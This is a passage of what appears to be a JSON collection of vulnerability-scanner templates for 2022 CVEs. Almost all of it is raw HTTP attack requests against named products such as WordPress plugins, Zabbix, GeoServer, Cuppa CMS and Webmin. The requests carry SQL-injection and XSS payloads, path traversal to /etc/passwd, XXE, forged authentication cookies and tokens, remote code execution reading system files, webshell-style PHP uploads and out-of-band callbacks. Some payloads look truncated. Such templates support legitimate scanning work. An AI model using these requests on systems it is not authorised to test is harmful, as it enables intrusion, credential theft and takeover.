Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=language-translate.php&success=added\"> successfully\")"],"condition":"and"}]}]},{"id":"CVE-2022-2314","info":{"name":"WordPress VR Calendar <=2.3.2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /wp-content/plugins/vr-calendar-sync/assets/js/public.js HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin-post.php?vrc_cmd=phpinfo HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["phpinfo","PHP Version"],"condition":"and"},{"type":"word","part":"body_1","words":["vrc-calendar"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2733","info":{"name":"Openemr < 7.0.0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /interface/main/main_screen.php?auth=login&site=default HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nReferer: {{RootURL}}/interface/login/login.php?site=default\n\nnew_login_session_management=1&languageChoice=1&authUser={{username}}&clearPass={{password}}&languageChoice=1\n","GET /interface/forms/fee_sheet/review/fee_sheet_options_ajax.php?pricelevel=%3Cimg%20src=a%20onerror=alert(document.cookie)%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","pricelevel"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-25486","info":{"name":"Cuppa CMS v1.0 - Local File Inclusion","severity":"high"},"requests":[{"raw":["POST /alerts/alertConfigField.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurlConfig=../../../../../../../../../etc/passwd\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26233","info":{"name":"Barco Control Room Management Suite <=2.9 Build 0275 - Local File Inclusion","severity":"high"},"requests":[{"raw":["GET /..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1\nHost: {{Hostname}}\n\n"],"unsafe":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2022-32430","info":{"name":"Lin CMS Spring Boot - Default JWT Token","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cms/admin/group/all"],"headers":{"Authorization":"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZGVudGl0eSI6MSwic2NvcGUiOiJsaW4iLCJ0eXBlIjoiYWNjZXNzIiwiZXhwIjoxNzUzMTkzNDc5fQ.SesmAnYN5QaHqSqllCInH0kvsMya5vHA1qPHuwCZ8N8"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"id\":","\"name\":","\"level\":"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]},{"type":"word","part":"body","words":["=6","status_code_1 == 200 && compare_versions(version, \"<= 2.4.4\")"],"condition":"and"},{"type":"dsl","name":"blind-based","dsl":["status_code_1 == 200 && compare_versions(version, \"<= 2.4.4\")","contains(body_3, \"content\") && contains(body_3, \"{{Hostname}}\")","!contains(body_4, \"content\") && !contains(body_4, \"{{Hostname}}\")","len(body_3) > 200 && len(body_4) <= 22"],"condition":"and"}],"extractors":[{"type":"regex","name":"version","part":"body_1","internal":true,"group":1,"regex":["\\s*\\s*<\\/version>"]}]}]},{"id":"CVE-2022-23131","info":{"name":"Zabbix - SAML SSO Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/zabbix/index_sso.php","{{BaseURL}}/index_sso.php"],"stop-at-first-match":true,"headers":{"Cookie":"zbx_session=eyJzYW1sX2RhdGEiOnsidXNlcm5hbWVfYXR0cmlidXRlIjoiQWRtaW4ifSwic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9"},"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(tolower(header), 'location: zabbix.php?action=dashboard.view')"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2022-24266","info":{"name":"Cuppa CMS v1.0 - SQL injection","severity":"high"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nuser={{username}}&password={{password}}&language=en&task=login\n","@timeout: 20s\nPOST /components/table_manager/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\norder_by=id`,if(SUBSTRING('test',1,1)='t',sleep(6),sleep(0))--+-&path=component%2Ftable_manager%2Fview%2Fcu_users&uniqueClass=wrapper_content_919044\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"list_admin_table\")"],"condition":"and"}]}]},{"id":"CVE-2022-1906","info":{"name":"WordPress Copyright Proof <=4.16 - Cross-Site-Scripting","severity":"medium"},"requests":[{"raw":["GET /wp-admin/admin-ajax.php?action=dprv_log_event&message=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["got message "],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2414","info":{"name":"FreeIPA - XML Entity Injection","severity":"high"},"requests":[{"raw":["POST /ca/rest/certrequests HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n ]>\n\n \n &ent;\n\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:"]},{"type":"word","part":"body","words":["PKIException"]},{"type":"word","part":"header","words":["application/xml"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2022-4301","info":{"name":"WordPress Sunshine Photo Cart <2.9.15 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-login.php?action=register&redirect_to=x%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","Registration Form"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0281","info":{"name":"Microweber Information Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/users/search_authors"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"username\":","\"email\":","\"display_name\":"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-26564","info":{"name":"HotelDruid Hotel Management Software 3.0.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/creaprezzi.php?prezzoperiodo4=%22>","{{BaseURL}}/modifica_cliente.php?tipo_tabella=%22>&idclienti=1","{{BaseURL}}/dati/availability_tpl.php?num_app_tipo_richiesti1=%22>"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","HotelDruid"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3980","info":{"name":"Sophos Mobile managed on-premises - XML External Entity Injection","severity":"critical"},"requests":[{"raw":["@timeout: 50s\nPOST /servlets/OmaDsServlet HTTP/1.1\nHost: {{Hostname}}\nContent-Type: \"application/xml\"\n\n\n%test;]>\ntest\n"],"redirects":true,"max-redirects":3,"matchers":[{"type":"dsl","dsl":["contains(interactsh_protocol, 'http') || contains(interactsh_protocol, 'dns')","status_code == 400","len(body) == 0"],"condition":"and"}]}]},{"id":"CVE-2022-25148","info":{"name":"WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","@timeout: 15s\nGET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce={{nonce}}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=sleep(6)&search_query&page_uri=/&user_id=0 HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(header, \"application/json\")","contains(body, 'Visitor Hit was recorded successfully')"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["_wpnonce=([0-9a-zA-Z]+)"],"internal":true}]}]},{"id":"CVE-2022-31845","info":{"name":"WAVLINK WN535 G3 - Information Disclosure","severity":"high"},"requests":[{"raw":["@timeout: 10s\nGET /live_check.shtml HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","words":["Model=","FW_Version=","LanIP="],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-38296","info":{"name":"Cuppa CMS v1.0 - Arbitrary File Upload","severity":"critical"},"requests":[{"raw":["POST /js/jquery_file_upload/server/php/ HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary9MZjlIG8fVPjrlCI\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"path\"\n\n/\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"unique_name\"\n\ntrue\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"resize_width\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"resize_height\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"crop\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"compress\"\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI\nContent-Disposition: form-data; name=\"files[]\"; filename=\"test-{{randstr}}.jpg\"\nContent-Type: image/jpeg\n\n\n------WebKitFormBoundary9MZjlIG8fVPjrlCI--\n","POST /js/filemanager/api/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/json\n\n{\"from\":\"//{{filename}}\",\"to\":\"//{{randstr}}.php\",\"action\":\"rename\"}\n","GET /media/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["ed6bf8b1b4b8e64836455fe32b958c2c"],"condition":"and"},{"type":"word","part":"header_3","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"filename","group":1,"regex":["\"name\":\"(.*?)\","],"internal":true}]}]},{"id":"CVE-2022-24384","info":{"name":"SmarterTools SmarterTrack - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["GET /Main/Default.aspx?viewSurveyError=Unknown+survey\"> HTTP/1.1\nHost: {{Hostname}}\n\n"],"matchers":[{"type":"word","words":["\"type\":\"error\",\"text\":\"Unknown survey\\\">\"","smartertrack"],"condition":"and"}]}]},{"id":"CVE-2022-29005","info":{"name":"Online Birth Certificate System 1.2 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /obcs/user/login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nmobno={{username}}&password={{password}}&login=\n","POST /obcs/user/profile.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\n\nfname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&lname={{str}}%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&add=New+Delhi+India+110001&submit=\n","GET /obcs/user/dashboard.php HTTP/1.1\nHost: {{Hostname}}\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(header_3, \"text/html\")","status_code_3 == 200","contains(body_3, 'admin-name\\\">{{str}}')"],"condition":"and"}]}]},{"id":"CVE-2022-1768","info":{"name":"WordPress RSVPMaker <=9.3.2 - SQL Injection","severity":"high"},"requests":[{"raw":["@timeout: 15s\nPOST /wp-json/rsvpmaker/v1/stripesuccess/anythinghere HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nrsvp_id=(select(0)from(select(sleep(7)))a)&amount=1234&email=randomtext\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=7"]},{"type":"word","part":"body","words":["\"payment_confirmation_message\":"]},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-24816","info":{"name":"GeoServer <1.2.2 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["POST /geoserver/wms HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/xml\n\n\n \n ras:Jiffle\n \n \n coverage\n \n \n \n \n \n script\n \n dest = y() - (500); // */ public class Double { public static double NaN = 0; static { try { java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream())); String line = null; String allLines = \" - \"; while ((line = reader.readLine()) != null) { allLines += line; } throw new RuntimeException(allLines);} catch (java.io.IOException e) {} }} /**\n \n \n \n outputType\n \n DOUBLE\n \n \n \n \n \n result\n \n \n \n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"body","regex":["root:.*:0:0:","ExceptionInInitializerError"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-46020","info":{"name":"WBCE CMS v1.5.4 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/login/index.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nurl=&username_fieldname={{username_fieldname}}&password_fieldname={{password_fieldname}}&{{username_fieldname}}={{username}}&{{password_fieldname}}={{password}}&submit=Login\n","GET /admin/settings/index.php?advanced=yes HTTP/1.1\nHost: {{Hostname}}\n","POST /admin/settings/save.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nadvanced=yes&formtoken={{formtoken}}&website_title=test&website_description=&website_keywords=&website_header=&website_footer=&page_level_limit=4&page_trash=inline&page_languages=false&multiple_menus=true&home_folders=true&manage_sections=true§ion_blocks=true&intro_page=false&homepage_redirection=false&smart_login=true&frontend_login=false&redirect_timer=1500&frontend_signup=false&er_level=E0&wysiwyg_editor=ckeditor&default_language=EN&default_charset=utf-8&default_timezone=0&default_date_format=d.m.Y&default_time_format=H%3Ai&default_template=wbcezon&default_theme=wbce_flat_theme&search=public&search_template=&search_footer=&search_max_excerpt=15&search_time_limit=0&page_spacer=-&app_name={{app_name}}&sec_anchor=wbce_&pages_directory=%2Fpages&media_directory=%2Fmedia&page_extension=.php&rename_files_on_upload=\n","POST /modules/elfinder/ef/php/connector.wbce.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------213974337328367932543216511988\n\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"reqid\"\n\ntest\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"cmd\"\n\nupload\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"target\"\n\nl1_Lw\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"{{randstr}}.php\"\nContent-Type: application/x-php\n\n\n\n-----------------------------213974337328367932543216511988\nContent-Disposition: form-data; name=\"mtime[]\"\n\ntest\n-----------------------------213974337328367932543216511988--\n","GET /media/{{randstr}}.php HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_6","words":["751a8ba516522786d551075a092a7a84"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"username_fieldname","group":1,"regex":["name=\"username_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"password_fieldname","group":1,"regex":["name=\"password_fieldname\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"formtoken","group":1,"regex":["name=\"formtoken\" value=\"(.*)\""],"internal":true,"part":"body"},{"type":"regex","name":"app_name","group":1,"regex":["name=\"app_name\" value=\"(.*)\""],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-45365","info":{"name":"Stock Ticker <= 3.23.2 - Cross-Site-Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=stockticker_symbol_search_test&symbol=test&endpoint=%3Cimg+src%3Dx+onerror%3D%26%23x61%3B%26%23x6c%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%28document.domain%29%3E\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Stock Ticker Fatal","

    TEST

    "],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["The message to \"\">

    TEST

    \" failed"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-39048","info":{"name":"ServiceNow - Cross-site Scripting","severity":"medium"},"requests":[{"raw":["GET /navpage.do HTTP/1.1\nHost: {{Hostname}}\n","POST /login.do HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nsysparm_ck={{csrf}}&user_name={{username}}&user_password={{password}}¬_important=&ni.nolog.user_password=true&ni.noecho.user_name=true&ni.noecho.user_password=true&screensize=1920x1080&sys_action=sysverb_login&sysparm_login_url=welcome.do\n","GET /assessment_redirect.do?sysparm_survey_url=javascript:alert(document.domain)//assessment_take2.do HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_3","words":["unwrapped_url = \"javascript:alert(document.domain)//assessment_take2.do\"","assessment_list.do"],"condition":"and"},{"type":"word","part":"header_3","words":["text/html"]},{"type":"status","part":"header_3","status":[200]}],"extractors":[{"type":"regex","name":"csrf","part":"body","group":1,"regex":["name=\"sysparm_ck\" id=\"sysparm_ck\" type=\"hidden\" value=\"(.*?)\""],"internal":true}]}]},{"id":"CVE-2022-23808","info":{"name":"phpMyAdmin < 5.1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E","{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\">","

    Add a new server

    ","phpMyAdmin setup"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-3242","info":{"name":"Microweber <1.3.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/search.php?keywords=ABC%3Cdiv%20style=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"],"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body, \"<script>alert(document.domain)</script>\") && contains(tolower(body), \"microweber\")"],"condition":"and"}]}]},{"id":"CVE-2022-24129","info":{"name":"Shibboleth OIDC OP <3.0.4 - Server-Side Request Forgery","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/idp/profile/oidc/authorize?client_id=demo_rp&request_uri=https://{{interactsh-url}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]},{"type":"word","part":"interactsh_request","words":["ShibbolethIdp"]}]}]},{"id":"CVE-2022-2544","info":{"name":"WordPress Ninja Job Board < 1.3.3 - Direct Request","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp/wp-content/uploads/wpjobboard/","{{BaseURL}}/wp-content/uploads/wpjobboard/"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Index of /wp/wp-content/uploads/wpjobboard","Index of /wp-content/uploads/wpjobboard"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-2467","info":{"name":"Garage Management System 1.0 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 15s\nPOST /login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername=1@a.com' AND (SELECT 6427 FROM (SELECT(SLEEP(7)))LwLu) AND 'hsvT'='hsvT&password=412312&login=test2334\n"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["duration>=7"]},{"type":"word","part":"body","words":["Garage Billing Software"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-41441","info":{"name":"ReQlogic v11.3 - Cross Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/ProcessWait.aspx?POBatch=test&WaitDuration=</script><script>alert(document.domain)</script>","{{BaseURL}}/ProcessWait.aspx?POBatch=</script><script>alert(document.domain)</script>&WaitDuration=3"],"stop-at-first-match":true,"redirects":true,"matchers":[{"type":"dsl","dsl":["status_code == 200","contains(content_type, \"text/html\")","contains(body_2, \"<script>alert(document.domain)</script>\") && contains(body_2, \"POProcessTimeout\")"],"condition":"and"}]}]},{"id":"CVE-2022-0867","info":{"name":"WordPress ARPrice <3.6.1 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nPOST /wp-admin/admin-ajax.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\naction=arplite_insert_plan_id&arp_plan_id=x&arp_template_id=1+AND+(SELECT+8948+FROM+(SELECT(SLEEP(6)))iIic)\n","GET /wp-content/plugins/arprice-responsive-pricing-table/js/arprice.js HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration_1>=6","status_code_1 == 200","contains(content_type_1, \"text/html\")","contains(body_2, \"ArpPriceTable\")"],"condition":"and"}]}]},{"id":"CVE-2022-0441","info":{"name":"MasterStudy LMS <2.7.6 - Improper Access Control","severity":"critical"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce={{nonce}} HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{BaseURL}}\nContent-Type: application/json\n\n{\"user_login\":\"{{username}}\",\"user_email\":\"{{user_email}}\",\"user_password\":\"{{password}}\",\"user_password_re\":\"{{password}}\",\"become_instructor\":\"\",\"privacy_policy\":true,\"degree\":\"\",\"expertize\":\"\",\"auditory\":\"\",\"additional\":[],\"additional_instructors\":[],\"profile_default_fields_for_register\":{\"wp_capabilities\":{\"value\":{\"administrator\":1}}}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":["Registration completed successfully","\"status\":\"success\""],"condition":"and"},{"type":"word","part":"header_2","words":["application/json;"]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["\"stm_lms_register\":\"([0-9a-z]+)\""],"internal":true},{"type":"kval","kval":["user_email","password"]}]}]},{"id":"CVE-2022-25082","info":{"name":"TOTOLink - Unauthenticated Command Injection","severity":"critical"},"requests":[{"raw":["GET /cgi-bin/downloadFlile.cgi?payload={{cmd}} HTTP/1.1\nHost: {{Hostname}}\n","GET /{{randstr}} HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body_2","words":[".sh",".cgi"],"condition":"and"},{"type":"word","part":"header_2","words":["application/octet-stream"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-0928","info":{"name":"Microweber < 1.2.12 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /api/user_login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nusername={{username}}&password={{password}}\n","POST /api/shop/save_tax_item HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer: {{BaseURL}}/admin/view:settings\n\nid=0&name=vat1&type=\"><img+src%3dx+onerror%3dalert(document.domain)>&rate=10\n","POST /module HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nReferer:{{BaseURL}}/admin/view:settings\n\nclass=+module+module-shop-taxes-admin-list-taxes+&id=mw_admin_shop_taxes_items_list&parent-module-id=settings-admin-mw-main-module-backend-shop-taxes-admin&parent-module=shop%2Ftaxes%2Fadmin&data-type=shop%2Ftaxes%2Fadmin_list_taxes\n"],"matchers":[{"type":"dsl","dsl":["contains(body_3,\"<img src=x onerror=alert(document.domain)></td>\")","contains(header_3,\"text/html\")","status_code_2 == 200 && status_code_3 == 200"],"condition":"and"}]}]},{"id":"CVE-2022-0785","info":{"name":"WordPress Daily Prayer Time <2022.03.01 - SQL Injection","severity":"critical"},"requests":[{"raw":["@timeout: 10s\nGET /wp-admin/admin-ajax.php?action=get_monthly_timetable&month=1+AND+(SELECT+6881+FROM+(SELECT(SLEEP(6)))iEAn) HTTP/1.1\nHost: {{Hostname}}\n"],"matchers":[{"type":"dsl","dsl":["duration>=6","status_code == 200","contains(content_type, \"text/html\")","contains(body, \"dptTimetable customStyles dptUserStyles\")"],"condition":"and"}]}]},{"id":"CVE-2022-0824","info":{"name":"Webmin <1.990 - Improper Access Control","severity":"high"},"requests":[{"raw":["POST /session_login.cgi HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: redirect=1;testing=1;PHPSESSID=;\n\nuser={{username}}&pass={{password}}\n","POST /extensions/file-manager/http_download.cgi?module=filemin HTTP/1.1\nHost: {{Hostname}}\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nReferer: {{RootURL}}/filemin/?xnavigation=1\n\nlink=http://{{interactsh-url}}&username=&password=&path=/{{ranstr}}\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]},{"type":"word","part":"body","words":["Failed to write to /{{ranstr}}/index.html"]}]}]},{"id":"CVE-2022-25568","info":{"name":"MotionEye Config Info Disclosure","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/config/list"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["upload_password","network_password"],"condition":"and"},{"type":"word","part":"header","words":["application/json"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2022-4260","info":{"name":"WordPress WP-Ban <1.69.1 - Stored Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET / HTTP/1.1\nHost: {{Hostname}}\n","POST /wp-admin/admin.php?page=wp-ban/ban-options.php HTTP/1.1\nHost: {{Hostname}}\n\n_wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-ban%252Fban-options.php&banned_ips=&banned_ips_range=&banned_hosts=&banned_referers=XSS&banned_user_agents=&banned_exclude_ips=&banned_template_message=%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E&Submit=Save+Changes\n","GET / HTTP/1.1\nHost: {{Hostname}}\nReferer: XSS\n"],"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["contains(body_4, \"<script>alert(document.domain);</script>\")","contains(content_type_4, \"text/html\")","status_code_4 == 200"],"condition":"and"}],"extractors":[{"type":"regex","name":"nonce","group":1,"regex":["_wpnonce=([0-9a-z]+)"],"internal":true,"part":"body"}]}]},{"id":"CVE-2022-44957","info":{"name":"WebTareas 2.4p5 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /general/login.php?session=false HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525\n\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"action\"\n\nlogin\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"loginForm\"\n\n{{username}}\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"passwordForm\"\n\n{{password}}\n-----------------------------3023071625140724693672385525\nContent-Disposition: form-data; name=\"loginSubmit\"\n\nLog In\n-----------------------------3023071625140724693672385525--\n","GET /clients/editclient.php? HTTP/1.1\nHost: {{Hostname}}\n","POST /clients/editclient.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: multipart/form-data; boundary=---------------------------34025600472463336623659912061\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"csrfToken\"\n\n{{csrf}}\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"action\"\n\nadd\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"cown\"\n\n1\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"cn\"\n\n{{randstr}}<details/open/ontoggle=alert(document.domain)>\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"add\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; name=\"zip\"\n\n\n-----------------------------34025600472463336623659912061\nContent-Disposition: form-data; 